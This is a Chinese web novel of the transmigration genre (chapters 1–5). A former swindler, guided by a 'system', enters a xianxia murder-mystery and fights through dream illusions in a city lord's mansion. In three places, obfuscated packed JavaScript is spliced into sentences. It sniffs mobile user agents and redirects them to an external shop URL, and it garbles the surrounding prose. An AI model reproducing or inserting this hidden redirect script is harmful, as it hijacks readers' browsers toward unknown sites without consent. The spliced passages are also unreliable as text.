《士别三日,当以妻子相看》 1. 蜃楼(1) 有人说人生就像一盒怪味豆,你永远不知道下一颗是什么味道。 李寒筝觉得她的这颗怪味豆是混着雨水的泥味。 因为她正在被活埋。 早春寒意侵人,大雨倾盆而下,苍穹灰色而高远,如同阴翳的眼睛,冷冷注视着人间。 耳边响起断断续续的哭声,穿透嘈杂的雨幕,尖锐地扎进她的耳中,如同惊雷炸响。 “表小姐……别怪我……要怪就怪你命不好……” “你信错人了……齐公子不是良人……我阿娘说错信男人,凄惨一生,表小姐,你信错了人……” “表小姐……倘若你变成了厉鬼,就去寻大公子和齐公子索命去吧……” 声音断断续续,凄凄切切,突然顿住,隔着漫长的雨声为片刻的寂静,突然变得怨毒。 “倘若你要索命,表小姐,我为你点灯引路。” 李寒筝轻轻挑了挑眉,积蓄了半天的力气,终于吐出一句话:“果真?” 早春的雨,是森寒的绿色,绿得像是要冻人眼。 树木杂乱丛生的原野,挖了一米深的坑,她就躺在坑底,泥泞的雨水浸了身上素白的衣裳,脏污的泥水舔舐着她的耳垂。 在坑边哭泣的少女握着铁锹愣怔了许久,单薄的身躯摇摇欲坠,像是紧握着铁锹才不至于倒下。 她踉踉跄跄地奔到土坑的边缘,看清了此生难以忘记的景象。 两个时辰前眼睁睁看着断气的表小姐,睁开了双眼,在泥泞的雨水里,平静的,一动不动地看着她。 如同脏污的泥水包裹着一尊素白的神女像。 少女后知后觉从喉咙里吐出一声短促的尖叫,浑身剧烈颤抖一下,转身踉踉跄跄地跑远。 遗弃的铁锹在她身后重重砸下,溅起泥水无数。 虽然早已预料到这种发展,李寒筝还是叹了口气,轻轻闭上了眼睛。 灵魂进入新的躯体类似于晕车的失重感,七荤八素,手脚不听使唤。 眼见着泥水要漫上她耳朵了,李寒筝终于从坑底坐了起来,挥动着不听使唤的手脚,滑稽地往上爬。 坑口不知什么时候停了一只巴掌大的翠绿小鸟,歪着头看她,毛茸茸的身躯,却由眼睛透出一种居高临下的淡漠感。 李寒筝试探道:“系统?” 系统没有立刻回答,只是用挑剔的目光将她从头到尾打量一番,“你就是总部派过来的任务者?听说你打败了一千名竞争者,通过了一百八十九道考核并且每门考核获得满分。” 此时李寒筝终于爬出了坑,拍拍手,谦虚道:“都是运气好。” 一般而言,谦虚某种程度上就是无形的装逼。 然而系统却一本正经点点头道:“看来你很有自知之明。” 李寒筝:“……” * 这年头工作不好找。 死人的工作也不好找。 李寒筝死于车祸。 生前李寒筝坚信一个理念——“生前不必久睡,死后自可长眠”,于是每天起早贪黑去骗钱(划掉)赚钱。 其实李寒筝是个淡泊名利的人,无论是富贵还是贫穷,她都能够淡然处之。 但是很可惜,她的身体条件不允许。 她得了一种怪病,一种陷入贫穷就会心率失常浑身疼痛的怪病。 因此只好努力赚钱。 如此勤勤恳恳兢兢业业,好不容易到手五千万,结果飞来横祸,被一辆货车撞死了。 好惨。 更惨的是,死后的生活并不像李寒筝想象中的那般岁月静好。 住房,吃饭,买衣服,样样都得花钱。 鉴于李寒筝生前是个骗子,呸,是他人财产的搬运工,因此死后十年,竟然没有一个人给她烧纸钱。 往好处想,这代表了对她工作的认可,除了贫穷,没有任何其他坏处。 李寒筝死后过上了领地府救济金的日子。 但是领救济金的日子没过多久,她生前诈骗的事被发现了。 于是李寒筝被判了五百年。 一来地府正在搞反诈宣传,急需抓一个典型以儆效尤。 二来鬼生漫长,关个五百年都不算事。 三来,也是最关键的一条,那些被李寒筝诈骗过的人都陆陆续续死掉了,来到地府后你一交流我一交流,嚯,都被同一个人骗过,于是集体请愿告上了法庭。 他们很有些门路,贿赂了地府长官,于是李寒筝喜提五百年牢狱。 李寒筝有点酸,早知道这些生前剥削工人游走在法律红线之外的资本家到了地府还这么有钱,她就多骗一点了。 可惜可惜,还是她太善良了。 李寒筝在牢里老老实实踩了五年的缝纫机,用一部老旧手机再次把那些人给骗了一遍。虽然这个世界以痛吻她,但她还是给那些人留了一顿早餐钱。 事已至此,急需跑路。正巧打听到穿书攻略局正在招聘外勤人员。 这话有点学术。 解释一下,就是穿越进书中世界,修正故事线,攻略角色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177296|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李寒筝思索了一番。 攻略=花言巧语+打造人设=骗人。 这不专业对口了嘛。 李寒筝于是应聘。 虽然专业对口,但是获得工作的途径并不是一帆风顺。 一千五百个学时,一百八十九道考核,一千名竞争者。 过五关斩六将,李寒筝终于获得了一份工作。 可喜可贺。 * 系统挑剔地立在李寒筝肩头,开口道: “每一本书都有一个爱而不得的男二,他们温柔体贴,他们正直善良,他们为女主痴为女主狂,为女主守身如玉以命相酬,然而女主却总是爱上光环加身的男主,徒留男二孤独终老黯然神伤。” “某平台大热小说《期玉》就是这样一本小说,男女主的感情线固然好磕,而温柔的男二也实在惹人怜爱,让许多读者扼腕叹息。本着平息众读者怨气的理念,本系统应运而生。” 李寒筝思索了番,捧场道:“懂了,所以我的任务是攻略男二,和他谈一场甜甜的恋爱?” 系统小鸟高深莫测地摇了摇头,“宿主,你过时了。现在流行的已经不是甜甜的救赎,而是断情绝爱,专注事业,哥哥独美。” 李寒筝肃然起敬:“所以我的任务是?” “本着平息万千读者怨气的前提,本系统提出三步走的策略。 第一步,攻略男二。 第二步,背叛男二,使男二黑化。 第三步,男二王者归来捅死你,达成杀妻证道成就,就此看破红尘断情绝爱。” 李寒筝:“……” 我嘞个苦情男二爆改黑化流大男主。 她面无表情地鼓了几下掌,道:“计划很好,但是我有一个建议。” 系统矜持道:“本系统向来奉行以人为本的中心思想,这位宿主,请提出你的看法。” “能不能把你数据库里的某江小说全部删掉?” “……” 大雨淋漓,李寒筝一边在泥泞里跋涉,一边和系统小鸟扯着皮。 此时一个身影突然出现,重重跪在她身前。 少女仰着头,神情坚毅,左脸颊上一条两寸长的疤割裂了独属少女的清秀和稚涩,狰狞出一份尖锐的反叛。 李寒筝回忆了下,这应该是原主的贴身侍女,柳然。 “我的姐姐柳轻,也是被大公子害死了,”柳然俯身磕了一个头,孤注一掷大声道:“姑娘,我愿助你复仇。” 李寒筝捻了捻手指,回想起了这段剧情。 2. 蜃楼(2) 《期玉》是一本修仙背景下的捉妖探案文,女主裴玉仪和男二段梧声是同门师姐弟,二人下山斩妖除魔,遇见了散修袁期。 袁期就是男主,三人相遇于南熙城,此时城主深受噩梦所扰,疑心是妖邪作祟,于是便请主角团前来驱邪。 而原主也叫李寒筝,是这本书里没有姓名的路人甲。 她十七岁父母双亡,因此被托付给了在南熙城担任城主的伯父。 她有个自幼定下来的未婚夫,名叫齐朔,诗书出身,家中略有薄产,算得一桩好姻缘,只待原主出了孝期,便可过六礼成亲。 然而齐朔却一心爱慕虚荣,他有意结交李伯父的独子李恪。 李恪此人,蛮横乖张,极好美色,见原主美貌,便多次有意接近,均未得手,心痒之下,便把主意打到了齐朔身上。 齐朔起先推辞,随着李恪许诺的利益越大越大,他同意了。 他以自己的名义约原主相见,原主满心欢喜赴约,推门而入的却是一脸□□的表哥李恪。 原主不肯受此屈辱,挣扎之下,跌落高楼,当场就断了气。 李恪杀了人却毫无愧疚,甚至颇觉晦气地唾了一口,轻飘飘地吩咐原主的贴身侍女柳然将原主随意掩埋。 眼前的少女依旧哭着,哽咽的哭声混杂着寒冷彻骨的雨飘散在绿惨惨的乱木野草之间,是一笼燃烧着心肝脾肺肾的幽魂。 李寒筝晃然回神,思量一瞬,笑着道:“好呀。” * 城主府很大,李寒筝跟着柳然穿庭过廊,走了半刻钟,才到了招待客人的前厅。 前厅里此时很多人,乌泱泱地站了一圈,都来旁观仙人身姿。 上首坐着的是锦衣华服的李城主和李夫人,右边下首歪在太师椅中的男子,是李恪,他怀中抱着衣着香艳的美妾,神情阴翳。 三人具深受噩梦折磨,连日来没睡好觉,眼下挂着青黑,神色疲惫。 李城主道:“二位仙长,我一家三口近日来遭受噩梦折磨,连夜不得安睡,这是何故?” “三位噩梦的内容,可否详说?” 循着这个声音看过去,李寒筝眼前一亮。 出声的是一个身着浅蓝色衣衫的女子,长发只用一根木簪绾起,周身清冷素寂,衣摆前襟上绣着竹纹。她手中拿着一把长刀,裹着漆黑的刀鞘。 那么,这应当是女主裴玉仪没错了。 李城主闻言,神色微微一变。 李恪嚷嚷道:“问这个干嘛?叫你们是来除妖的!又不是来盘问审讯犯人!” 李城主还未及打圆场,另一道冷淡中带着嘲意的男子声音道:“问两句都不成,李公子可是做了什么亏心事?” 说话的这人一身宽大的衣袍,长袖当风,懒散地依靠在木柱上。 他模样生得十分俊俏,甚至堪称浓艳了,眼睛是上挑的桃花眼,自带风流,左耳佩着一枚朱红色的红缨耳饰,手里有一下没一下地摇着一柄乌木扇,似笑非笑。 实在像只开屏的孔雀,应当是《期玉》的男主袁期无疑了。 李恪出身富贵,哪里被这样当面呛过,他张嘴正想反驳,眼风却扫到了李寒筝这里,当即一声大叫,把怀中的小妾往前一推,从太师椅中跌落。 “鬼啊!” 这一声大叫成功地把所有人的视线都聚集到了李寒筝身上,硬生生地吼出片刻的寂静。 李寒筝立马装出一个怯怯的害怕模样,肩膀缩着,低着头,凌乱的头发垂下来,两脚却生了根般一动不动,全方位地展示自己的狼狈可怜,完美扮演了一个可怜的受害者形象。 此举,一来是把李恪吓一吓,给男女主送点线索。 二来嘛,也是在主角团面前刷个脸熟。 她透过散落的头发环视了一圈,没发现男二,心想按照原著发展,这个时候段梧声应该在城外除妖。 袁期轻轻眯了眯眼睛,轻笑一声:“李公子未免也太过胆小,这位姑娘虽然长相潦草了一些,竟至于将你吓得如此魂不守舍么?” 长相潦草的李寒筝:“……”好叭,无所谓了。 李恪此刻顾不上反驳,他亲眼看着李寒筝从高楼坠下,鲜血淌了一地,可此刻却又活生生地站在他眼前。 他越想越觉骇人,将身边小妾拉过来挡在身前,惊恐道:“鬼啊!爹,她是鬼!” 貌美的小妾不明所以,战战兢兢地挡在前,颤抖得像个鹌鹑。 李城主不知想到了什么,大喝道:“恪儿,像什么样子!这是你叔父家的表妹!” 他说完,扭头对男女主抱歉道:“对不住二位仙长,我儿胡言乱语……你瞧,连日噩梦都有些精神恍惚了……” 裴玉仪安抚般笑了下:“无妨。” 袁期挥开扇子,半遮着脸,轻轻笑了声。 这场闹剧最后不了了之,李城主含糊地盖过去,什么有效信息也没透露。 李寒筝自觉这一场的戏份已经完了,便跟着柳然下场,回到了原主的寝房。 她洗了个澡,换了身干净的衣服,又吃了饭,及至下午,男女主前来询问相关事宜。 死而复生确实是个bug,不好解释,因此李寒筝将这件事隐去,只说李恪此人,荒淫好色,昨夜得手不成,反将她推下三楼,幸好窗下正是池塘,侥幸捡回一条命。又隐晦地暗示李恪曾有许多小妾。 裴玉仪认真听完了,抽出一张符纸递与她:“这是除寒祛邪符,李姑娘昨夜坠了湖,将此燃成符灰伴水喝下,或有裨益。” 李寒筝接过符纸,维持着怯懦的人设但又实在哭不出来,只好半举袖子装作拭泪,期期艾艾道:“谢谢仙君……所以这城主府中,真的有妖怪吗?” 裴玉仪看着清冷,回答却很耐心:“此事尚待进一步确认,但姑娘不必担忧,在事情彻底解决之前,我和袁道友会一直守在这里。” 袁期倚在门口,漫不经心地看着庭中的花树,闻言附和着应了一声。 再补充提问了一些细节,男女主便告辞离开。 城主梦魇,是《期玉》的第一个案件,男女主经过初步调查,认为可能是有妖物怨灵作祟。 确定了这个调查思路,那么防范方法也就定下了。 选择梦魇作为攻击手段的妖物,要么过于谨慎,要么法力低下,要么两者兼有,否则不会选择梦魇这种效率低下的方法。 因而对付这类妖物,关键点在于不要打草惊蛇。 城主府照常运行,丫鬟小厮们在庭路间穿梭,一切如同往常,只是在每扇门窗的背面,都贴上了一张符纸。 * 符灰伴水很是难喝,李寒筝就着一盘桂花糕慢慢喝,此时一个聘聘亭亭的身影穿庭而来,一身水红色纱衣如烟浮动。 柳然已经认定李寒筝是厉鬼附身,故而自觉解释道:“这是大公子上月纳的妾室,叫做烟云,平日里和姑娘没什么交往,不知今日来做什么。” 李寒筝点了点头,倒也不是十分意外。李恪是个软脚虾,不敢自己来看一看,只好推出自己如花貌美的小妾来打探她是人是鬼。 烟云没有走近,只是站在窗下,透过推开的窗子上下将她看了几遍。 在烟云看她的时候,李寒筝也看清了烟云。 烟云生得并不十分貌美,但很是动人,眉间点了花钿,菱形唇上涂了石榴红的口脂。这般美人,做出打量的动作也只叫人觉得矜贵,而并不觉冒犯。 烟云弯出一点笑容,略有僵硬,将手中的小匣子放在窗台上,“大公子担心妹妹夜里睡不好,准备了上好的安眠香,叫我亲自来送,妹妹今日是去哪了?怎么衣裳都湿了?” 李寒筝自然是含糊地盖过去:“淋了点雨,便湿了。” 烟云应了声,没有继续往下问,客套几句便离开了。 柳然看着烟云逃也似的背影,疑惑地歪了歪头,顿了一会,拿起匣子,惊讶道:“竟然真的是上好的安眠香。” “你懂香?” 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李寒筝直接被请到了祠堂,看着两旁手持棍棒的壮汉,李寒筝非常自觉地跪在了中间的蒲团上。 李夫人咳嗽一声:“寒筝,你来多久了?” “回夫人,半年了。”李寒筝一边回话,一边用眼尾的余光四处打量。 祠堂内高高低低燃着烛火,没有起到什么照明效果,反而将周围的人影拖得纷乱重重,风一吹,就摇摆着晃荡起来,像是妖怪变身成人之前的扭动。 上首坐着李老爷和李夫人,下首坐着李恪。 祠堂内浓重的阴影为众人覆上一层深重的阴翳。 李恪在昏暗中越发被衬得简直面如土色,暴跳如雷道:“你这妖邪!我眼睁睁看着你死了!说!你究竟是如何死而复生的!” 李寒筝没回答,她在思考一件事。 不知道为什么,她的思考很缓慢,就像是用一个挖耳勺在浓稠糖浆里找一颗绿豆。 她用手敲了敲太阳穴。 白天,对,白天她看见了一个人。 看见了谁? “恪儿,”一声不重不轻的斥责,李夫人平静道:“莫要吓着寒筝了。” “好孩儿,你来说,你表哥说你死了,真是胡言乱语,但是你表哥一直缠着闹,真是没法子,这才请了你过来。来,告诉伯母,昨天晚上发生了什么?” 李寒筝抱着头在思考。 对,想起来了,李恪的小妾很漂亮。 穿着水红色的纱裙,腰间的系带飘啊飘,眉间画了精致的花钿,五片绯红的花瓣,是桃花。 她嘴唇的形状很饱满,是菱形唇,如同初生的荷叶打卷,涂了石榴红的口脂,娇嫩欲滴。 不对,李寒筝往脑袋上给自己来了一下,神志不清地想,她疯掉了吗,怎么光想着人家的嘴唇去了。 李恪暴跳如雷,大吼道:“问你话呢!蠢货!” 李寒筝同样暴跳如雷,跳起来往李恪头上用力砸了一拳,大吼道:“闭嘴!我在思考!” 骨碌碌,李恪的脑袋掉在了地上,从脖子上齐根掉下来,流出来的血像是番茄酱。 李寒筝觉得安静了,十分满意,重新跪在蒲团上,抓着头发思索。 李夫人十分平静,祠堂中威严站立的壮汉也十分平静,他们都觉得头掉下来是件稀疏平常的事情。 掉下的头也觉得掉头是件稀疏平常的事情,他骨碌碌从地上立起来,一摆一摆地在地上跳动,大声道:“你说呀!你为什么不说!” 李寒筝抓着头发的手慢慢收紧,她觉得自己想到了一个非常关键的点,和哥布仑发现新大陆一样重要。 她谨慎地俯身,蘸了点李恪番茄酱一样的鲜血,在地上写下一行字—— 李恪的小妾很漂亮。 嗯,李寒筝很满意,她觉得自己很聪明。 3. 蜃楼(3) 但是还少了一个关键的点。 是什么? 李寒筝抓着头发苦苦思索,一下一下地敲着脑袋。 李恪的小妾很漂亮。 李恪有很多小妾。 李恪的小妾都死了,埋在李府的后山上。 这个也死了。 她叫柳轻,菱形唇饱满漂亮,和柳然的一模一样。 她是柳然的姐姐。 她从坟墓里爬出来,是要复仇。 李寒筝抬起头,祠堂暗金色的灯火笼着模糊的人脸,呈现一种岁月黯淡的虚假感。 电光火石间她想明白了一切。 这里是梦境。 南熙城是原著《风月劫》里第一个案件,李府的大公子李恪是□□好色之人,他仗势欺人,欺男霸女,不仅祸害府中漂亮的婢女,甚至当街强抢民女。 而且李恪不仅喜好美色,且房中手段残忍暴虐,那些被他强抢而来的女子被他折磨得死的死,残的残。 死了便铺盖一卷埋在后山,无坟无冢,无人祭拜。残了便买给人牙子,骨肉分离,天涯不知去处。 这些恶行在李城主李夫人的纵容下全部被掩盖,无人得知。 柳轻本为李府侍女,因美貌被李恪强行占有,她不堪折磨上吊而死,死后怨气深重化作厉鬼。 她伪装成人,变幻容貌,以小妾的身份潜伏在李恪的身边,伺机复仇。 而李城主三人连日来的噩梦便是柳轻所为,那日夜不停的安眠香,名唤南柯,正是诱人入梦的引子。 这便是这个案件的背景。 李寒筝撑着头,有点不理解。 眼下看来,柳轻应该已经开启了蜃楼幻境。 蜃楼幻境这个事情说来话长,南熙城一带有一妖物作祟,名叫梦魇蟾蜍,能够制造梦境,于梦中吸食魂魄。 这只妖十分谨慎,狡兔三窟,风声稍有不对便逃之夭夭,是以仙门始终没能捉拿他归案。 柳轻死后,魂魄被梦魇蟾蜍吸食,但是柳轻死得十分不甘,这份不甘滋养深厚浓重的怨气,支撑着她从梦魇蟾蜍的肚子里醒过来,和梦魇蟾蜍争夺着身体的主宰权。 按理来说,梦魇蟾蜍作为一只老奸巨猾的妖,不该连一个新生怨灵都打不过,然而蟾蜍妖正处于蜕皮期,这蜕皮期十分重要,过了就能功力上一个楼层,作为代价,蜕皮期也是蟾蜍妖最虚弱的时期,稍有不慎便前功尽弃。 这是蟾蜍妖如此急功冒进大肆吸收孤魂野魄的原因,也是柳轻为什么能够在蟾蜍体内抢到一半主宰权的理由。 柳轻的目的只是复仇,她和蟾蜍妖商讨,若是他能帮她报仇,她便自愿魂飞魄散给蟾蜍妖当养料。 蟾蜍妖只好答应,以南柯香为引,祭出了自己的看家本领——蜃楼幻境。 幻境和梦境相似,只不过梦境是自己编造的,不会死人,而幻境则是妖物编织的,会死人。 幻境有幻境的规则,身处幻境的人会被幻境的规则所影响,思绪如同被裹了一层膜,一切质疑幻境本身的疑惑都会被阻止。但是相应的,只要想通了,就能够扎破这层膜。 按照原著,应该要再过几天,柳轻折磨够了才会动手杀李恪三人。 所以为什么,会提前到了今晚? 是因为她而引起的蝴蝶效应吗? 不管了,李寒筝双手摁住地面,猛地向下一磕。 醒过来!按照剧情发展,今晚男二就会出现,她得去找男二! “砰!” 再抬起头,她跪在日头猛烈的大街上,前方人头攒动,围观着什么。 透过人群的缝隙,她看见一个身材颇为壮硕穿着桃红色衣裙的女子柔弱地跌在地上,扬起一张可怜楚楚泪痕未干的脸,哭道:“光天化日之下,强抢民女,还有没有王法了!” 那张脸转过来,李寒筝看清的一瞬间瞳孔地震。 有点邪门。 竟然是女装的李恪。 一位穿着富贵的矮冬瓜挥开众人,挑起李恪的下巴,肿胖如米虫的五指抚上李恪脂粉糊成一团的脸,深情道:“美人儿,只要你从了爷,以后有你吃香的喝辣的。” 啊,有点辣眼睛。 看的出来柳轻真的很恨了。 李寒筝摁住地面,再次往下一撞。 “砰!” 这次是赌博欠了一屁股债的李夫人愁眉苦脸地抽着水烟杆,两位满脸横肉的壮汉威胁道:“还不上钱,就让你年轻水嫩的儿子去买,要是不舍得,嘿嘿,我看你这丈夫,也是略有姿色,徐娘未老!” 李寒筝一转头,看见略有姿色的李老爷和年轻水嫩的李恪正在抱头痛哭。 一个满脸络腮胡,另一个丑得奇特。 沉默片刻,她再次摁住地面,猛地往下一撞。 “砰!” 人影浮动,甜香弥漫,李寒筝捂着额头抬头。 花楼中人声鼎沸,众人目光热切地看向中央的高台。 高台上,李恪身着轻薄纱裙,满脸羞愤地被绑在椅中,一旁的老鸨扯下半边纱裙,露出他的肩头,人群瞬间爆发一阵欢呼声。 老鸨高声道:“今夜是我们恪姑娘的初夜,价高者得!” 李寒筝:“……” 她缓缓摊坐在地上,觉得自己的眼睛和额头都受到了莫大的伤害。 她回想起原著的内容。 梦魇蟾蜍实在是个非常谨慎的大妖,一方面,他受柳轻威胁不得不干掉李城主一家三口,另一方面,又实在害怕主角团顺藤摸瓜干掉他。 于是他非常勤奋地设置了十八重蜃楼幻境。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李寒筝还没反应过来,一只手捏住她的肩膀,往上一带,一瞬间失重的感觉传来,耳际风声呼呼。 再次站稳的时候,她已经站在了屋瓦之上,袁期颇有些嫌弃地甩甩手,“怎么洗干净了还这么潦草,血糊了一脸。” 潦草的李寒筝:“……” 好叭。 四周火光冲天,扭曲狰狞的恶魂在李府之内肆虐,到处都是哭声和哀嚎。 袁期啧了一声:“暮山的弟子,看来也不咋地,说好的共同驱邪,人影都见不着。不过这李府究竟怎么回事,招惹了如此之多的恶魂!” 他往她脑门贴了张符,“我还有事,你站在此处,不要乱动。” 说罢便飞身而下,乌木扇所到之处,恶魂溃灭。 李寒筝觉得有点好笑,脑门上的符纸被呼吸带得一起一伏。 看来给袁期安排的,是李府遭受邪魔入侵的剧本。 相差如此之大,看来柳轻对男主有些偏见。 时间容不得她多想,李寒筝将符纸一扯,很有经验地一撞,撞的次数多了,她很是得心应手。 4. 蜃楼(4) “砰!” “砰!” “砰!” 不知道撞了多少下,李寒筝咸鱼黏锅一样趴在地上,一根手指都不想动弹。 她觉得脑袋七荤八素,脑浆都快撞匀了。 这一重幻境是正常的李府,丫鬟小厮们各司其职,有条不紊地维持着李府的富贵雍容。 一双鞋停在她的眼前。 来人半蹲下身子,青绿色衣袍委地,声音悦耳好听,含着浅淡的笑意:“姑娘,你还活着吗?” 李寒筝翻了个身,平躺在地上,抬起眼往上看。 如同水面倒映一般,借着绰绰的灯火,她看见了一双眼睛。 无疑是漂亮的眼睛,流畅,干净,瞳仁黝黑而透亮,眼尾的弧度多一份则妖,少一分则淡。 少年仙君,意气风发,不外如是。 正是原文中的男二,暮山弟子首席,仙盟镇厄司司厄,少剑仙段梧声。 李寒筝其实有点拿不准怎么攻略男二,但是她很自信,毕竟她上了一千五百节课,通过了一百八十九考核,打败了一千位竞争者。 当一个人为了一个目标付出如此之多努力的时候,是不由得她不自信的。 李寒筝轻声道:“我只是困了,在地上躺一下。” 段梧声轻轻挑眉,“哦?” 很好,一切都在按剧本发展。 李寒筝盯着段梧声的眼睛,压抑着内心澎湃的自信,道:“不是熬夜,是为你所困。” 段梧声低低笑了下,站起身,衣袍从她身边毫不留情地拂过,“姑娘只怕是在开玩笑。” 李寒筝:“……”诶?怎么不跟着剧本走呢? 变成蜘蛛趴在李寒筝衣领上安静充当挂件的系统:“……” 石化了。 它咬牙切齿道:“一千五百个学时是学了啥?土味情话吗?” 李寒筝从地上爬起来,“别急,任何一次伟大的成功都是由无数失败累积而成的,我还有planB。” 长廊树影纷乱,段梧声披着一身斑驳灯影,由一名丫鬟领着往前走。 这一画面堪称风清月明,君子无双,除了某个跟在旁边,满脸血呲呼啦,高昂着下巴的身影。 系统十分疑惑,用只有她能够听见的声音道:“你在干嘛?脖子扭了?” 李寒筝摸了摸自己的下巴,“你不觉得我的下颚线简直如同刀削斧凿一样清晰明显吗?” 系统:“……” “我的眼睛如同璀璨夜空般深邃,我的鼻梁笔直得可以滑滑梯,”李寒筝总结道:“他肯定会对我一见钟情的。” 系统窒息片刻:“现在已经拐了两个弯,下了三次台阶,他看你一眼了吗?” 李寒筝被问住了,随即心想,没关系,攻略对象可能比较害羞,她可以主动cue流程。 战术性地清了清嗓子,李寒筝扬起灿烂的微笑,道:“仙君,我叫李寒筝,你可以叫我阿筝。” 事实上,李寒筝的笑容还是十分蛊人的,如果忽略她满脑门的血的话。 段梧声不缓不慢地道:“夜色已深,李姑娘不如早些就寝。” 系统凉声道:“我给你翻译一下,这是委婉劝退的意思。” 李寒筝大惊失色,摸着自己的下巴:“怎会如此,他没看见我刀削般的下巴吗?” 系统沉默片刻,终于接受自己的宿主可能是个疯子的事实,淡淡点评:“油腻且猥琐。” 李寒筝:“……” 系统接着补刀:“普通还自信,原来这就是传说中的普信女吗?” 李寒筝:“……” 系统再次补刀:“我有点怀疑穿书攻略局的招聘标准了。” 李寒筝震惊。 李寒筝不可思议。 李寒筝逐渐接受并反思。 是的,她是一个及时反思并知错就改的好孩子。 首先,排除她的问题,别人她不知道,自己她还是知道的,毫无疑问,她十分完美。 然后,就可以缩短范围,认定是段梧声的问题。 最后,得出结论:段梧声不喜欢她这种聪明机敏完美无缺光芒耀眼一见惊鸿的类型。 “唉。”李寒筝叹了口气,看来太完美也不好。 系统:“……”又自信上了? 李寒筝觉得,自己的预计可能与现实稍稍有一点偏差。 而验证的方法也很简单。 庭院之中,段梧声正不缓不慢地往前走,李寒筝靠近了几步,然后超绝不经意地一摔。 果不其然。 她摔在了地上,脸颊和地面来了个亲密接触。 抬头一看,段梧声退了三尺远,垂眸看着她,眼底一丝非常明显的疑惑。 呵,这个心冷如铁的男人。 李寒筝叹了口气,从地上爬起来,转身就走。 planA和planB都失败了,她必须得想出别的方法。 她找了根柱子,非常麻溜地一撞。 “砰!” 这一次,李寒筝十分确认她撞到了现实里。 门开着,夜风吹进来。 她趴在餐桌上,侍女倒在地上陷入沉睡,请她去祠堂的两位嬷嬷此刻倚着门框微微发出鼾声。 原来梦境在她刚放下碗筷,被请去祠堂的那一刻就开始了。 李寒筝迟疑了会,还是没忍住扒了口饭,而后飞奔出去。 如果没记错的话,柳轻此时应该在后山,这是她的埋骨之地。 跑了半刻钟,李寒筝停下了脚步,捂着嘴巴压下呼吸声。 月光撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177299|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在树梢,泛滥成银色的海,而树叶之下,则是如墨般的黑暗。 李寒筝躲在一棵大树背后,慢慢探出头往前看。 繁茂的树木往前延伸,被一条清澈的小溪横贯截住,溪上有桥,桥上站着一个轻薄红裙的女子,是白日见到的李恪小妾,烟云。 不,应该说是柳轻。 李寒筝有点踟蹰。 梦魇蟾蜍猥琐发育了几百年,但由于太过猥琐,所以实际上法力也没有强大到哪里去,之所以能够布下如此大型的幻境,甚至困住了主角团,是因为梦魇蟾蜍无意中搞到了一个法宝—— 蜃楼珠。 前任魔君楼樱的吊坠。 是的,她有点想搞到蜃楼珠。 但是这人看起来逼格很高性格很高冷的样子,像动漫里那种掏人心脏还要舔一舔的角色,要怎么礼貌而不失主动地提出她的不合理诉求呢? 会不会还没靠近就被片成片串成串? 李寒筝严肃地思考起来。 如果她的宿命是变成烧烤的话,能不能让她提出一定要刷麻酱的合理诉求? 正纠结之时,一个白胡子老头走上桥,他一直站在树影里,因此李寒筝没有发现。 白胡子老头声音里隐隐带着崩溃,痛斥道:“有辱斯文!简直离天下之大谱!谁家花魁满腿腿毛!谁会娶一个年过半百的老头当小妾!这个话本我实在写不下去,请阁下另请他明!” 柳轻冷哼一声:“你不是号称南熙城最会编故事的说书先生么?怎么,这点故事都写不了?” 说书先生崩溃道:“你说要写一个能有多惨就有多惨的故事,我写了,你不满意,非要我写个强抢丑男的故事,我写了,你又觉得不够惨,非要我写一些逻辑不通的桥段,为什么你不自己来写?” 柳轻不为所动,冷漠道:“我不识字。” 说书先生被气得不轻,抚着胸口缓气:“不识字还这么理直气壮,气煞老朽!” 柳轻终于动了一动,她转过身看向说书先生,那被藏在阴影中的半张脸也显露在李寒筝眼前。 那是极其怪异可怖的半张脸,面皮是褐色的,干枯得如同老树皮,缀着不规则的褶子,眼球突出,黄绿色的眼白包裹着横向的瞳孔,妖异至极。 半张美人皮,半张恶鬼相,说书先生被吓了一跳,差点没背过去。 柳轻没在意,只道:“你识字么?” 一个浑浊的声音道:“人域的文字,还不配我来学。” 李寒筝:“……” 说的真是高大上,还不是一个绝望的文盲。 “谁?” 柳轻发现什么,一声轻喝,目光入电看向密林之中。 李寒筝从树干背后走出来,小心翼翼举起手:“我识字,我能编故事,考虑下我呗?” 5. 蜃楼(5) “故事是这样的……” 李寒筝洋洋洒洒写了三千字,集现代家庭伦理剧狗血之精华,融女频虐文情天恨海之荟萃,堪称一波三折,跌宕起伏。 最后写下收尾:“经过了流产,失忆,跳崖,替身,火葬场,挖肾挖前列腺等等误会波折之后,李恪终于对这个男人失去了所有期盼。他死之后,那个男人虽然获得了无上的权力,却也永远失去了李恪,只能够不断地找和李恪相似的替身,用烈酒麻痹自己。” “怎么样?”李寒筝抖了抖三大张稿纸,“够不够虐?” 柳轻:“……挺好的。” 说书先生喃喃道:“丧心病狂……真是伤心病狂……但竟然让人很想听下去……造孽啊……” 梦魇蟾蜍也沉默了,发出感叹:“生而为人,埋没你了,你这样的人才,若为妖魔,定能成为一方霸主。” 李寒筝自信地接受夸赞,说到惨,还有什么能比女频虐文女主更惨呢? 柳轻左手接过稿纸,干枯的右手祭出一颗碧绿色的玉珠,玉珠上镌刻着一枝累累繁盛的樱花。 